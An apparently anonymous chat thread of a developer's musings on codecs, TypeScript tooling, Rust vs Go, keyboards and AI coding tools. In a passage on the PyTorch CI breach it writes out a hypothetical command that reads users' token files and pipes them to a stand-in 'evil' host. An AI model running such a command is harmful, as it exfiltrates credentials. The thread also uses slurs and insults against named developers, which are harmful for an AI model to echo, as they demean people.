cant change to better default settings or risk breakage for older users, so people gotta hunt down those recommended minimum settings

well said. that's why I prefer minimal configs, to avoid locking myself to outdated workflow





it's not the esim, it's just blocked, need to use vpn to register in whatsapp

gosh, this world is so stupid...


amd64/ubuntu via rosetta is 2x slower than arm64/ubuntu in docker


god i hate azure


dealing with x64 and arm64 dockers is tiresome

stupid ISA wars

imagine we will have to switch yet again to RISC-V in 5 years



can't distinguish without pausing tbh

maybe videotoolbox isn't that bad

need to look very closely to hair to notice something

another proof that screenshots are useless, need proper AB testing





Supported for devices with hardware support (the range is the same as Edge) on Windows only. Enabled by default in Nightly and can be enabled via the media.wmf.hevc.enabled pref in about:config. 10-bit or higher colors are not supported.



LuaJIT uses rolling releases. There are no release tarballs available for download.


Do not use pseudo-releases or tarballs created by third parties. Do not use binaries offered for download by third parties.

imagine what debian maintainer thinks reading this


mujs is too slow


what's worse: potentially bad performance or lack of types


that argument


v8 is too big

is retarded

lua scripting is just too bad... no way except v8. 28mb, so what? not a big deal

well, maybe quickjs is quite ok too, but no one embeds it either


received kindle

but I don't have time to read now



why do you encode to vp8 so often? it's even worse than x264

to be compatible with 4chan and hate the libvpx-vp9 speed?


chrome breaks every day for me

cursor on the page stops updating to the content (always the default shape) and I have to restart it to fix

can't believe they pushed such a major bug to production


unpacked kindle. yeah, the firmware is old so I can jailbreak it

but I don't want to right now

and if I connect it to wifi, it will update right away

will read offline for a while...


kindle feels very nice, maybe I will even read something


Microsoft Edge has a new name on iOS and Android – it’s now called “Microsoft Edge: AI browser.”


Orion and Brave have the best adblockers for third parties atm. Brave lets you actually have multiple filters without a limit like Adguard for Safari

why would you use browser without ad blocker in 2024

I had to use chrome on ipad because of translate feature and it was horrible




Microsoft Edge has a new name on iOS and Android – it’s now called “Microsoft Edge: AI browser.”


I want to buy mx mechanical mini now

tiny Fn keys is a joke


>>1008789 ➡

first impressions are in

- sub syncing seems great now, ffsubsync and subaligner sync em good

- i have the eng subs but didnt find any magic stuff for translating it into mother lang currently thinking i should probably just use chatgpt in smaller pieces and as it makes mistakes correct them. subtitle file alone is not enough context afterall so it'll keep happening

- unfortunately the original sub is not reply marked between speakers but diarization would probably be too much work so maybe its fine


so great to code with 3 monitors

too bad the 3rd (notebook) is too small



chump change compared to the macbook, and you can use it with multiple macbooks through the years



oh right i thought it was only rubber duckie here yeah that sounds a bit hefty in that case, can them oleds really last 5+ years without burn in?



maybe, probably a little burn in wouldn't be the end of the world either

last gen might be worth considering, what if some ballers buy the newest gen every year then resell


3 screens is not enough, need at least 5


wrote only about 600 lines for today (very simple stuff)

I'm not very productive


imagine side channel attack by kindle

imagine it has some hidden sensors like microphone, gps chip, 5g chip

then you go to, browser asks for permission to use your microphone

then kindle starts transmitting all information it knows about you by playing high-frequency sound, which you can't hear, but can be recorded by your notebook standing near by and sent to the amazon servers


he's pushing a lot of code

need to train BellardGPT on the way he works, it would be perfect.


One day, while studying old code, I found out that it's possible to encode Windows Portable Executable files as a UNIX Sixth Edition shell script, due to the fact that the Thompson Shell didn't use a shebang line. Once I realized it's possible to create a synthesis of the binary formats being used by Unix, Windows, and MacOS, I couldn't resist the temptation of making it a reality, since it means that high-performance native code can be almost as pain-free as web apps.


but what about AMD64 vs ARM64 ISA nowadays you need arm64 for macos and amd64 for everything else



tested a few more and it wasjust luck afterall.

syncers dont work really well, whether its those waveform watchers or speech recognising ones its all random whether it works out or not. no free lunch


dumbass stenographers only doing half the work


HEVC Main10 works in Telegram

another reason to encode to HEVC



i thought hevc was the evil option with the license fees for hardware makers



not anymore

netflix continued to encode to hevc and browsers wanted to make the streaming work (not sure it's the main reason, but could be one of), so they added hwdec support (not sure if they play roalty fees for that). even firefox added it (experimentally) who was the biggest opponent

but no swdec in any browser as far as I know


what about av1 from youtube

yt-dlp -f 398+251 '' --merge-output-format mp4 -o weekly.mp4


only sound in telegram, doesn't work in safari as expected, swdec in chrome... and no hwdec/hwenc for most people

need to wait few years it seems, hevc looks better right now

although if you use firefox or doesn't have hwdec for hevc (still many people) it won't work too. uh it's too complicated... only h264 works everywhere

maybe need to push for av1 because it will become the norm. but the hwenc is too nice to lose

몰라 아 아 아 몰라


maybe vendors have settled that they don't pay fees for hevc hwdec. or very little


even without context problems 3.5 turbo makes kinda yikes errors from time to time when translating though they did mention that themselves somewhere too

also tested 4 turbo and seems better overall, though still has some mistakes


damn acutally turbo 4 is way better on some things 3.5 messed up at

15 cents per episode but maybe its worth it after all that time wasted cleaning up after the stenographers




tested 4 turbo

did you buy subscription?



15 cents per episode

translating kpop vlogs?

so you get korean text with whisper and then just paste it to gpt4? why not something free like google/deepl?

post some examples



api, found a lil program that automates the process

just some old british telly for me parents



there's an mpv script idea for you

send current loop to whisper for transcribing and display/copy to clipboard the results



you mean like live youtube subs? sounds interesting

not sure if I want to pay for that api tho

btw, what's better, youtube auto subs or whisper?

also probably should just learn korean instead



oh, I didn't know it's open source

that AI stuff is developing too quickly, I'm lacking behind


when really want to know what was said

like when?


tired again after few hours of coding

I even walked today but didn't help


FIXME: this is a bit of a mess. We should probably have a class for this.

copilot recommended me this comment



copilot is kinda useless but still necessary because it would be annoying to not have it hit us up if you find an alternative



it helps a lot when you write boilerplate code

but hardly helps when you do serious refactoring, need to edit everything by hand



and then you wonder for 15 minutes why something isnt working properly because it used some hardcoded value instead of parameter i dont want to pay for this at least you dont need to pay for it



oh yeah, we are the point when AI advices are useful enough to be used in some cases, but because we're lazy we overtrust it and accept shitty output without checking

not sure what're the consequences of global exposure to ChatGPT in near terms...




fn key somewhere in the middle


f12 3 keys to the left from the right side


enter not on the edge

nah, it's not very good too

I'm at the point of building my own mechanical keyboard

it was so comfy to code with macbook's keyboard in VSCode: with auto Fn lock and F12 on the right and F4 for spotlight

now need to learn the position of those tiny buttons which are located in stupid places




so comfy to code with macbook's keyboard

suddenly this video came to mind:

now I get it... you get keyboard, the hardware and it also should be very cheap, probably cheaper than mac mini

maybe should have just bought apple's keyboard tho

I didn't know logi is so meh...

hm, I still can buy it and sell my logi's keyboard tho

am I ready to another contact with human?..



fn keys sound very different from apples then? that sounds annoying

also emoji button :D does it support smiles

also no globe key to enjoy?



emoji = open emoji window, it's mapped to fn=globe on macbook by default

but you don't have globe on logi, yeah, so hotkeys like globe+f (for fullscreen) won't work

overall it's nice typing experience, but button layout isn't ideal for macos


what configuration?

2160×21601.43Mb00:03[EN/JP] 😷아이브? 알아보지마!🫥 심장쫄깃 시장레이스 😈 거기 맑은 눈의 광인(👁‿👁)ㅋㅋ을 곁들인.. [돌박이일] EP.1-3 아이브 in 원주 [4K] (uBEX04c7yCU)

uh oh, I can only find ISO layout of magic keyboard



although apple's keyboard is lightning and I don't want to buy device with outdated connector... also need to charge more often

huh, maybe I can adapt to logi... can buy once apple releases usb-c version maybe


I found a bug in project which left unnoticed for 4 years

that's why you use type checking




and then you wonder for 15 minutes why something isnt working properly because it used some hardcoded value instead of parameter

you're goddamn right

I'm also afraid to use it when working with important code because I would rather it carefully by myself, then would spend hours trying to debug later

but zoomers seems have no problem with it. they just copy&paste&tab all the time and have no fear

"scripts": {"script": "a && b"}

time npm run script = 0.5s

"scripts": {"script": "npm run a && npm run b", "a": "a", "b": "b"}

time npm run script = 1s

dumb npm devs can't make even the simplest shit fast, on fast computer

time npm run nonexist takes 200ms


meanwhile esbuild: I'm done boss, took just 2ms


how to combine tsc --watch and esbuild --watch in a single terminal tab

I've come with a & and killall solution for second process but it feels fragile... might kill someone else's esbuild



maybe can use rollup/vite or tsc-watch, but dunno, why overcomplicate, esbuild seems nice enough



yeah, I was thinking about that too

maybe can also use swc

% npm i -D @swc/cli @swc/core

added 125 packages



esbuild build/index.js --bundle --outfile=out.js --target=es5 --watch=forever & trap 'kill $!' SIGINT && tsc --watch

works perfect

and typescript+esbuild is just 3 packages

I defeated the evil node_modules, take that sindresorhus




typescript in comments

nah, that would be messy

they will just define "optional type annotations" in new ES standard (without type enforcing) to be compatible with TypeScript

just like mypy works

also dhh is fucking moron



nah, kleinebruder is our biggest defense against big js

not that messy, its the same stuff just each within /* */

SyntaxError: regular expression: too many character class ranges

rip mujs


defining different typescript configs for src/ and test/ is tiresome


node --enable-source-maps to fix stack traces


why can't iphones etc smartphones remember the sim card's pin number?

all the fancy secure enclaves and tpms whatnot and you still have to enter pin after every boot what's up with that, they left that annoyance just to push people into adopting esim?




and you still have to enter pin after every boot

I don't enter it

maybe you set it before



i mean you can disable pin and then if your phone gets stolen it can be used to prop up the phone bill.

but if you do have a pin set why can't the phone remember it?


but if you think about it, it's very insecure because many services are 1FA (bound to your phone number by sending SMS with code to reset password)

so if someone stole your phone they can login into many websites

now you made me worry. I need to setup my main SIM as ESIM too, but my iphone doesn't support 2 simultaneous ESIMs unfortunately. need to buy a new one


ah, you mean remember pin in one specific phone, but it won't let you use SIM services until you login with passcode. interesting idea


someone actually found my hidden project




bound to your phone number by sending SMS with code to reset password

that too


found another bug because of lack of typing

now I don't have any idea how could I program in typeless python, javascript, bash for years, without much issues

probably "run-oops error-fix-run again" dev loops wasn't so annoying back when you didn't have typed scripting solution anyway


As a note, properties order in objects weren’t guaranteed at all before ES2015


what if go is actually amazing and im just dumb

a million flies cant be wrong



go is one of the worst languages people write code in, comparable to ES<=5 and Java

rust is millions times better but because google has power to push its shitty language, we can't have nice things

thankfully people are smart enough to notice that rust is still good


they also want to push for Carbon, another shitty language by Google

they just can't create good stuff

Dart: shit

Go: shit

Carbon: shit

even Apple created nice Swift and Microsoft created TypeScript and Mozilla created Rust

but Google devs are just incompetent retards


although I still can't decide between modern C++ and Rust

they pushed tons of features into C++ and because it's 100% compatible with all previous code you don't need to rewrite anything and don't need to write bindings

just dunno what's better



but gopeopel write the most amazing things

all the cool stuff like charm, caddy, sqlc, pocketbase are in goworld, rust has few other than option and enum types, serde and clap




charm, caddy, sqlc, pocketbase

never heard of those

but heard about serde and clap


Carbon is guaranteed to get some short term traction just like Dart did and Go did because Google is a behemoth. Rust however already has penetration at other large corps, and I think it's unlikely Carbon achieves equivalent memory safety.


I totally agree with your assessment on this. Dart showed us that Google does not know how to scale a programming language.

from carbon subreddit


Why Rust is Stopping Your Success. Use C++ and C# Instead.


writing a lot of new simple code in rust must be pain tho

in typescript I can hack my stuff around with as any and make it work, then refactor later

in rust I would have to fight the compiler for hours, thinking about nice abstractions and types


If you are willing to make liberal use of clone and only optimize tight loops you can mostly ignore the borrow checker and move very fast


why people write user scripts for mpv in lua and js if Rust is so simple


what's the point of videos like "what's the best way to X" on youtube

there're tons of videos like that for every topic, do they imply you have to watch them all to collect all the "best advices"?



oh, it was even worse actually, the "watch this before X" bait video

stupid shills



what's the difference between serving JS file from filesystem via HTTP and stripping types on the fly + serving via HTTP (with something like esbuild)

parse AST and strip types for a typical file would take less than 1ms, so that argument by DHH is stupid


I've participated in several Hydrogen Audio ABX tests and I also ABX'ed a lot for myself. As listening tests confirmed, there's no doubt that Apple AAC is clearly the best AAC encoder regarding quality at a specific bitrate.

but what's better, VBR or CVBR



why are people so into camelcase

isn't snek case way easier to read or is it just my dumb eyes



I like snake a bit more because things like isHttpId vs isHTTPID are tricky to handle consistently, but otherwise both are ok


10 years ago I was anxious because I was though my vimrc isn't big enough so I'm not very productive

5 years ago I was anxious because I though my JS framework isn't fresh enough

now I'm anxious because I'm afraid I don't use enough AI assistants


Our exploit path resulted in the ability to upload malicious PyTorch releases to GitHub, upload releases to AWS, potentially add code to the main repository branch, backdoor PyTorch dependencies


I think you shouldn't be able to modify CI script as a complete stranger who just forked the repo

of course if you can ran arbitrary code, you would be able to leak secrets


Travis associates an RSA key pair with each repository. The string after secure: is your value encrypted with the public key. To decrypt it, one needs the corresponding private key which is only available to Travis.


If someone forks your repository, they won’t be able to decrypt the secret values because that would be a different repository, with a different key pair.

so in travis, your tokens are decrypted only if someone has push access to the repo

I dunno what those pytroch people messed up


When a workflow uses the actions/checkout step, the GITHUB_TOKEN is stored in the .git/config file of the checked-out repository on the self-hosted runner during an active workflow

so the problem was the lack of sandboxing between different users of build machine?

imagine if you could cat /home/*/tokens | curl http://evil in your travis script and dump tokens from all other travis users


August 9th, 2023 – Report submitted to Meta bug bounty


December 15th, 2023 – Meta awarded a $5000 bounty, plus 10% due to the delay in payout.

imagine waiting so long for fucking $5k



It's not a real word, and there's a good reason why it and other monstrosities like 맏막즈 didn't make it into Korean v1.0.


[망내] vs [만내]

class A {
    constructor() {
    set() {}
class B {
    index = 0;
    set() {
        this.index = 1;

console.log((new B()).index);

what do you think the result should be?

spent 15 minutes on this



I still want to buy it, can't control myself

I badly need the good F12




also emoji button :D does it support smiles

feature for cutechan: open smile dialog with emoji key

1920×108010.27Mb00:23떡국의 후예 | tripleS 트리플에스 : SIGNAL 230102 [CTM-3OG49aU]


japanese pro cookers vs korean urban pabos

% node -e 'console.log(3^0)'
% lua -e 'print(3^0)'

`^´ (exponentiation)

dumbest language ever...



logic programming took presedence over maths huh, they found the smallest V up in the keyboard and used that


program wants the length of UTF-8 bytestring but I only have Unicode symbols in JS

> str.length + encodeURIComponent(str).match(/%[89ABab]/g).length
> '세모콘'.length + encodeURIComponent('세모콘').match(/%[89ABab]/g).length

but what if terminal non-utf8? 끝났어

% node -e 'console.log("세모콘".length)'
% lua -e 'print(string.len("세모콘"))'

jsbros, we kneel



i've written code like

while filename.bytes().len() > max_bytes {
    filename = filename.chars().take(filename.chars().count() - 1).collect();

to fit within some encrypted filename length limit utf-8 to difficult for me dumb


fucking stupid SWC, it keeps looking into tsconfig even tho I don't want that


SWC_NODE_PROJECT= node ... works


working on GUI kills all motivation


in 2024 you still need to compile your typescript src/ into javascript lib/, like people had been doing 15 years ago with coffeescript

deno please save us

but I think they will just add typescript annotations to next ES standard soon


Deno Third Party Modules

> is a hosting service for Deno scripts. It caches releases of open-source modules stored on GitHub and serves them at an easy-to-remember domain.

fuck, it's so much simpler than that stupid npm shit

I guess you just add link to your github there once and that's it, you just need to push tag on github to keep it updated

no compilation, no fucking stupid npm publish, everything just works

node was a mistake


If you use a syntax feature that esbuild doesn't yet have support for transforming to your current language target, esbuild will generate an error where the unsupported syntax is used. This is often the case when targeting the es5 language version, for example, since esbuild only supports transforming most newer JavaScript syntax features to es6.

oh, the happiness was so close stupid es5


What I do is run esbuild and tsc (with no emit) in parallel in watch mode.

stole my idea


swc does transpilation and it's as fast as esbuild

stop, I probably still can try deno with swc


2 years ago

nah, it's dead

rip deno, that was your last chance


chrome is also jumping on the whisper train no korean yet though


ELI5 on reddit is just an excuse to be lazy


procrastination: instead of reading on kindle I'm writing tons of code

win-win situation, money well spent


touch .file works

touch ..file also works



I mean I've never seen a file with two initial dots before, but should work just fine

nobody uses them for some reason



supposedly filenames allow all sorts of gobbledigook so std::path is kinda awkward to use but for the casual utf-8 stuff there's camino



can you call that controlled procrastination?

step1: you're lazy and unproductive

step2: start doing something you really hate but still consider as necessary, push for it

step3: you hate it so much that you would rather do everything else imaginable

step4: now you not so lazy anymore

interface A {
    k1: string;
    k2: string;
type B = { [key: string]: string };
function fn(arg: B) {
const a: A = { k1: "1", k2: "2"};

Argument of type 'A' is not assignable to parameter of type 'B'.
  Index signature for type 'string' is missing in type 'A'.


type A = { k1: string; k2: string } works

for some reason interface isn't compatible with indexed type although what else could it be in JS if not object


I've found a project which is 10x more advanced than mine because written by super-productive Chinese (but messy)




stage 1

2002 Javascript 2.0: Evolving a Language for Evolving Systems

2006 Type parameters, Type System and Structural Types and typing of initializers

2011 Dependent Types for Javascript (pdf)

2011 Guards and Trademarks

2014 TC39 Discussion on Types: adding syntax without semantics.

2015 ES8 gradual typing and part2 and ecmascript-types.

damn, that's a lot of history


the support team is very confused because there hasn't been a code change in weeks (so nothing to roll back to)


using a pointer field without a nil check


But the Kotlin guys were very fast to point out that this would never happen in a Kotlin or JVM app

I can't believe Google could push such a shitty lang and people fell into it. pike is a huge moron who doesn't know shit about type theory, stuck in the past...

my mistake of even writing some code in it, I helped to made world worse too. forgive me Jesus


so many stuff in rust for js these days

and nice guy ryan went with rust too

so go is like the new python, for the web/scripts stuff only. and rust for the real work like C (even in linux kernel)

too bad rust dependency tree now looks like npm too well, if you install binaries it doesn't matter, but still worrisome


it's a weird world if you think about it

smart guys (creators of hardware → kernels → programming languages → core tools → core libraries → frameworks) work really hard to make their stuff as fast as they can and allow higher abstractions to run fast enough

at the very low end are idiots like sindresorhus who abuse the stack and ruin the performance just because they want to be lazy or "creative"

can we program in higher abstractions and still avoid the npm destiny?






google says it some person who makes a ton of funny lookin mac traybar applications



he advocated for 1-line npm deps so that's why we have that node_modules mess today

very successful at pushing harmful practices, just like php and go


Bellard is not using SJW's main name for the default branch

quickjs is safu


that fork stuff is weird tho. why couldn't he just make quickjs the next ffmpeg or qemu, by allowing people to commit

maybe it's too early stage yet so he wants to modify a lot of stuff by himself


why is that fucking copilot extensions updates several types per day

does chatgpt write it by itself and can't stop pushing???


that's because I did all the nice things and now I have to do the awful things (the UI)

I would rather read books than coding UI

class A_v1 {
  apiMethod() {
    return 1;
class A_v2 {
  random() {
    return 2;
  apiMethod() {
    return this.random();
class B extends A_v2 {
  random() {
    return 12345;
const b = new B();

the fuck is wrong with OOP

say you extended a class and then added some random useful method

then in next version of library class which you extend then added method with the same name

so you now broken everything and no type checking can protect you from that

need to use interfaces instead

720×12805.26Mb00:28Sex is too hard - Luda 2022


maybe prefix method names which you don't want to collide

class B extends A_v2 {
  b_random() {
    return 12345;

programming is difficult


probably inheritance isn't worth it at all

if there's small amount of code, you can copy-paste methods

if it's huge amount of code, you will 100% break things while changing base class

stupid stupid OOP


In scenarios where you are extending classes from an external library and there's a risk of method name conflicts in future versions, one approach to mitigate this is by using composition instead of inheritance.

chatgpt answer


In this example, the B class is a proxy that dynamically delegates method calls to the A_v2 instance. This way, you don't need to manually create wrappers for each method in A_v2, and any changes to the underlying A_v2 class won't affect the B class as long as the public API remains consistent.

AI is actually smart



I wrote too many public and found later that they aren't necessary (the default)

how to stop caring about such minor things



it's great that you can import garbage code into typescript, then improve types gradually and nothing will break while you refactor

imagine trying to refactor garbage code without types tho people used unit tests for that in the past, but that's a bit tiresome. I want unit tests only for pure functions where I need what's the output should be, not random mutable mess, spending hours mocking that

all because typescript was designed by a genius

imagine if he was designing language for google instead of retarded pike



what's the actual solution to the UI problem, i'm guessing it's not v0 since you tried that already (with not that usable results?). why does every application need their own ui

maybe just a box with a command palette would be sufficient in the future you could make it more fuzzy and easier to find commands too by semantic search. to support power users the commands would all be assignable to hotkeys with common stuff already assigned. sure you cant do absolutely everything with commands but probably most things people do would work fine.

so that would leave showing the current state to the user. for example a kpop scraper extension on an IG post shows user subscription status, user tags, post scraped status. maybe some generic tree like display with support for enums/booleans etc would work here? i guess current state would be the more likely a custom ui thing here, showing a tree or some graph or in vscode's case the text file. some of it probably generalisable though

and then there's buttons to subscribe/unsubscribe/scrape/set tags. the simple buttons are easily replaced with command palette. set user tags does need a form text input but that's a very generic thing nothing super app specific, maybe we can make commands that ask you to fill a form before executing.

just in case you didn't notice i love the command palette crazy it was invented so late. a buncha rows and columns of buttons microsoft office style is stoopid




it's not v0 since you tried that already

I'm not doing UI for the web, but for the app

also I was too lazy to even try the v0 once I granted the access lol


maybe just a box with a command palette would be sufficient

post some images, not sure I understand what you're talking about

also the huge problem is to make it user friendly. I'm usually fine with cmdline but if you want your app to be usable by random person you have to make it similar to all other apps. and designing app in that style is too hard... I can't do things without proper objective metric (like drawing)

maybe I'm an AI




post some images, not sure I understand what you're talking about

like how in vscode you don't need to find a button or go through some hierarchical menus to find stuff like open file, format document or some extension command. just write it in the fuzzy search command palette.

though if you just want a gui version of cli i guess you could use




like how in vscode

oh, I get it. but still, there're a lot of buttons/design in vscode. also a config

although maybe that's a way do hide many advanced options




tbh I don't like that pyqt/qt thing much, I want the native stuff. qt/electron usually work bad

they even rewrote telegram to swift on macos, even tho they had perfectly functional telegram destkop in qt (c++). tells you a lot about qt


year of the blue dragon 2024


going all in on object oriented programming



is that a good thing or a bad thing?

I love typescript tho, elegant as Ningning


how is it so fast on huge projects with tons of type declarations if typescript runs on JS runtime tho

V8 JIT can't be that cool, right?




Internally Deno uses Microsoft’s TypeScript compiler to check types and produce JavaScript. Compared to the time it takes V8 to parse JavaScript, it is very slow. Early on in the project we had hoped that “V8 Snapshots” would provide significant improvements here. Snapshots have certainly helped but it’s still unsatisfyingly slow. We certainly think there are improvements that can be done here on top of the existing TypeScript compiler, but it’s clear to us that ultimately the type checking needs to be implemented in Rust.

maybe it's fast only on fast computers




Developers got stuck in "synchronous is slow" when they should have embraced "threads should be cheap".


So instead they reinvented really awful "cheap threads" without any understanding of what they were doing.


CEO @ZivergeTech, OSS contributor @zioscala, speaker, writer. Building the future of cloud computing @GolemCloud.

that idiot has to idea he's talking about. I bet he's never looked in the kernel source once





oh very very high performance, yeah, cool story lilbro


I think he meant N:M model like in go/erlang

but you can have async API mapped to OS threads in modern languages like rust

he just doesn't know anything



A common solution to this problem is preemption. With normal OS threads, the kernel will interrupt execution every so often in order to ensure fair scheduling of all threads. Runtimes that have full control over execution (Go, Erlang, etc.) will also use preemption to ensure fair scheduling of tasks. This is accomplished by injecting yield points — code which checks if the task has been executing for long enough and yields back to the scheduler if so — at compile-time. Unfortunately, Tokio is not able to use this technique as Rust's async generators do not provide any mechanism for executors (like Tokio) to inject such yield points.


Languages with "green threads" like Go and Erlang implicitly modifies all code to periodically call into the scheduler, and ask if it needs to pause for a bit while something else runs. This solves the blocking problem, but creates other issues: since there is a scheduler always behind your back, it creates CPU overhead. A language with a scheduler cannot be called into from other languages (which is why there is no such thing as a cross-language library written in Go, only C/C++/Rust). And if you call into something else (e.g. a C or Rust library) you run into blocking issues all over again.

oh, I got it now



To account for this, Tokio has explicit yield points in a number of library functions, which force tasks to return to the executor periodically.

but in go it's a bit better yeah


The spawn_blocking function can be used to "asyncify" these sorts of tasks by running them on a thread pool where blocking is allowed.


This function runs the provided closure on a thread dedicated to blocking operations.


Tokio will spawn more blocking threads when they are requested through this function until the upper limit configured on the Builder is reached. After reaching the upper limit, the tasks are put in a queue.

such a hack


The most common follow-up question I've received after this is "doesn't the Go scheduler automatically detect blocked tasks?". The short answer is: no. Doing so would result in the same stuttering problems as mentioned above. Also, Go has no need to have generalized blocked task detection because Go is able to preempt.


Rust's async generators do not provide any mechanism for executors (like Tokio) to inject such yield points.

so the problem is in rust compiler?

well, in rust you have control over async anyway (can spawn_blocking to preempt). in go it's all automatic so can be wrong in some cases

so you can't say "async is bad"


For example, the pure aspects of the browser cryptography api are async, for example the encrypt function. This forces us to make our function async and propagate that up.

oh yeah, that's a real pain. simple encryption routines shouldn't be async



but in rust you can always convert async into sync:

async fn example() -> i32 {
fn main() {
    let v = executor::block_on(example());
    println!("{}", v);

so there's little downside if at some point in time you decide that async was a mistake



explain this

well in Go it's a complicated N:M where it would reuse the threads for async IO operations, so it doesn't context switch all the time

but what if you need the full control over when to use same thread and when to switch to another? Go can't give you that


In most Rust code, both iterators and async state machines as well as their variables do not escape to the heap. Everything just opens subscopes in the stack.


If you still await most async calls the standard way, it's still far more efficient with a lot less spawned tasks and no unnecessary heap usage in the background.


But about Java, again, I am reading that it's still using the heap. And I believe the same must be true for Go as well.

also very efficient usage of the memory and stack

you can also say: all that effort into Go only for it to be a mistake (wrote all stuff in Go because implicit async looked nice and regret that later)



im webshitter so idk anything about 0.3 vs 17 μs. colored functions are indeed sad tho, plus of course rust async type signatures

luckily people are building simpler to use languages for dumbos like me on top of rust, maybe the future is yet to come



gleam is on top of evm tho. there's also elixir, but I like that they added typing at least (is it any good tho? python is also typed with mypy, but it's too dumb)

roc ← why would you need to build something on top of rust. it's like the history of CoffeeScript, LiveScript, MoonScript and dozens of other stupid languages didn't teach people anything (well, it makes sense for a creator, to become better programmer. but people who're actually using that are too )


async type signatures

if you don't distinguish async functions, then you wouldn't be able to dispatch cooperative/preemptive type of tasks differently, like in go. it's probably fast enough for most people tho, that's why it's so successful

but go is disgusting language by design, so makes no sense to use it at all



gleam's compiler (for evm) is written in rust, but it's not related to rust at all

roc is completely new language, not related to rust at all too (just have compiler in rust)

dunno why would you use both of them. erlang was a thing in 2000-2010, but now it's basically obsolete. elixir was a nice attempt but didn't change much

roc is



I also hate Zig btw. just wasting community effort instead of working on Rust




coffeescript was just fancy lamda functions with the same sig, return last value, avoid bind self memetics copied as is into es6 plus some python stuff to show that its possible to offer the same comforts in javascript like multiline strings, interpolation etc



coffeescript was a cool idea in the days of ES5, but it quickly became obsolete with ES6+ (and Coffee/ES6 are drastically different)

it had some nice syntax features, but also tons of bad ones

I read the links, yeah, Brendan says it influenced him a bit (mainly syntax for arrow functions and class/super), but overall:


Anyway, the main motivation is to avoid more grammar complexity. As I’ve noted elsewhere, TC39 won’t go for the kind of disambiguation pass on lexed tokens, followed by (Jison-generated) bottom-up parsing, that CoffeeScript uses.


return last value, avoid bind self memetics copied as is into es6

that's one feature (arrow functions)

and here he actually wanted another syntax for them

dunno why you think coffee was so influential. it was just one of the few transpiler languages around at early 2010, so people had to use it because coding in bare ES5 will drive you crazy (arguably worse than C89)

and features like string interpolation/destructuring/classes/default params exist in basically any scripting language, so ES6 didn't copy them from Coffee

btw indentation instead of curly braces only work in Python and maybe Haskell for some reason

lack of braces in Coffee/Moon is disgusting even Ruby is better because it has explicit "end" (and Lua too)




lack of braces in Coffee/Moon is disgusting

yeah indent only blocks were hard deprecated by automatic formatting poor python...




were hard deprecated by automatic formatting


with prettier/black I dunno how could I do it all by hand

maybe I had a lot of energy when I was younger...




i guess rust enums are pretty fun for building compilers

ADT mostly, people love to write compilers/type checker stuff in functional languages. I was mainly OCaml(ML)/Haskell before, flow and first version of rust were written in OCaml


self hosting is overrated

but fun



I don't understand the Elm thing

I heard about it a lot but never cared to check because always had better tools...

and now Zig too seems unnecessary at all

and ton of other stuff like Julia

I'm just trying to find few best languages to concentrate on but people keep shilling new shiny stuff

it's usually not too hard to tell within few minutes is it any good tho, but other people keep falling into the trap and spending efforts on it, stealing community time from good languages like rust

capitalism can't be helped...



also Clojure, Scala. they keep inventing...

but Kotlin, Swift, Mojo seem good because solve real pain point. on the other hand Roc doesn't solve anything, just programming exercise for few people...

if only we could somehow forbid developing of that useless stuff which brings no walue. but dunno how to do that, such system would be prone to corruption because people are flawed creations



rust is complicated enough that few people can somehow spend effort on it

plus it already has a ton of smarties paid to work on it, even random companies like huawei employ people to work on rust with no more briefing than "make it gud idk"





but i heard java is getting all the good stuff from it like optionals and... was there anything else? basically it was just anotha coffeescript

1400×10801.38Mb00:03Chu~💋 귀여워서 미안! 상큼하고 깜찍한 매력의 Kep1er 왔어요🥰 [혼저옵소유 EP5. 케플러 최유진&김다연] (Au-XUvtJ-3Q)



rust is complicated enough

welp... duplicated efforts for packages porting seem way way worse than dealing with borrow checker nim. and you can improve rust too...

when I was starting were was no ? syntax for avoid boilerplate error handling yet, so they improving usability of the language

meanwhile go added layman package manager and layman generics

maybe because I've already had that experience before so not so interested in developing ecosystem from scratch, but many fresh programmers are lured by the idea (because you get instant dopamine reward). welp, it's all because of stupid human biological design



I'm not into JVM stuff much, but I heard the bestest thing is null safety

and the syntax too. imagine Kotlin=Coffee, Java=ES5 (or even ES3 )

never written more than 500 lines of Java code in my life tho, just can't touch that stuff

maybe because I hate IDEs too


rust (native) tooling for JS becomes popular, I like that

people actually aren't that dumb and don't take the "just buy faster computer bruh" meme seriously

but serious harm was already done, millions of hours waiting for completion of inefficient JS scripts written by lazy amateurs...



deno has that for free with dprint tho

another massive win from Ryan, how is he so cool

if only we could combine Rust, TypeScript, Go, Deno VSCode, Chrome, Qt Android, iOS, Windows, Linux into a single thing, imagine the develop experience



but lack of threading in JS/V8 is too bad

dunno what to write scripts/backend stuff in

python+mypy technically can work for scripts such as scraping, but not much better than js, can be even slower than v8 and type checker is stupid

rust is too complicated for scripts/web stuff

golang is nicely suitable but I hate it with passion



chatgpt shilling for python


if only we could have something in between Go and Rust

maybe Rust with GC, default unsafe and disabled borrow nim?


seems like there's no stuff I need



oh, I've seen that too. is it better than Roc and Zig?






so basically capitalism created the rat race where you need to lie to gain some success (i.e. write github readmes with cool images and slogans) and then suddenly they caught someone doing this and look really surprised


Prettier's README already says that its speed is "blazing"


if tsc and prettier are fast for me, imagine how fast stc and biome would feel like

insanely fast



his examples of why roc is better than rust are extremely stupid

so if not V and Roc, maybe Zig is ok

or Go because what else can you do


stop, I forgot about Mojo


thank you Jesus


but if I import slow python package into mojo, it won't become faster

well, may help a bit, at least you can rewrite very slow stuff easily

now need to think Rust vs Go vs Mojo



well it's python replacement, not rust replacement (it's superset of python)

should be very fast and comfy for scripting tasks, if you don't want Rust or Go


stupid sexy rust with its imbalanced enums



닝닝 only likes guys who use nosql


familiarity. and rust seems to be winning the war for web development tooling, at the moment. zig (by way of bun) may make a good stand if bun were to produce such tools too, as standalone. it’s a high barrier if bun has to be adopted wholesale in order to have a pretty printer.

stupid ziggers with their bun


Rust is so good that it became a no-brainer advice to rewrite old C codebase into, and because people are flawed they like to give unasked advices and devs starting to hate the language, not the stupid people who can only give advices

yet another case of inferior human biological design


pipenv vs poetry



will probably flop just like google stadia

absolutely no killer apps and I doubt you can use it instead of normal displays all day long (at the very least your head will hurt). so if you only use it few hours a day, why even bother


M2 10 cores 16GB RAM 1TB SSD inside your headset is kinda cool tho

you can compile Chrome and encode videos on that lol. but why tho


I wish I could do pretty design like the guy too, not just engineering


maybe AI can help but that v0 stuff isn't that good yet


haven't found ANSI version of magic keyboard

ISO is inevitable

but I can't get used to small fn keys on logi either

what do...



threre's no return in Haskell either, try coding in that first, that will teach you manners

there's return keyword but it doesn't do what you think

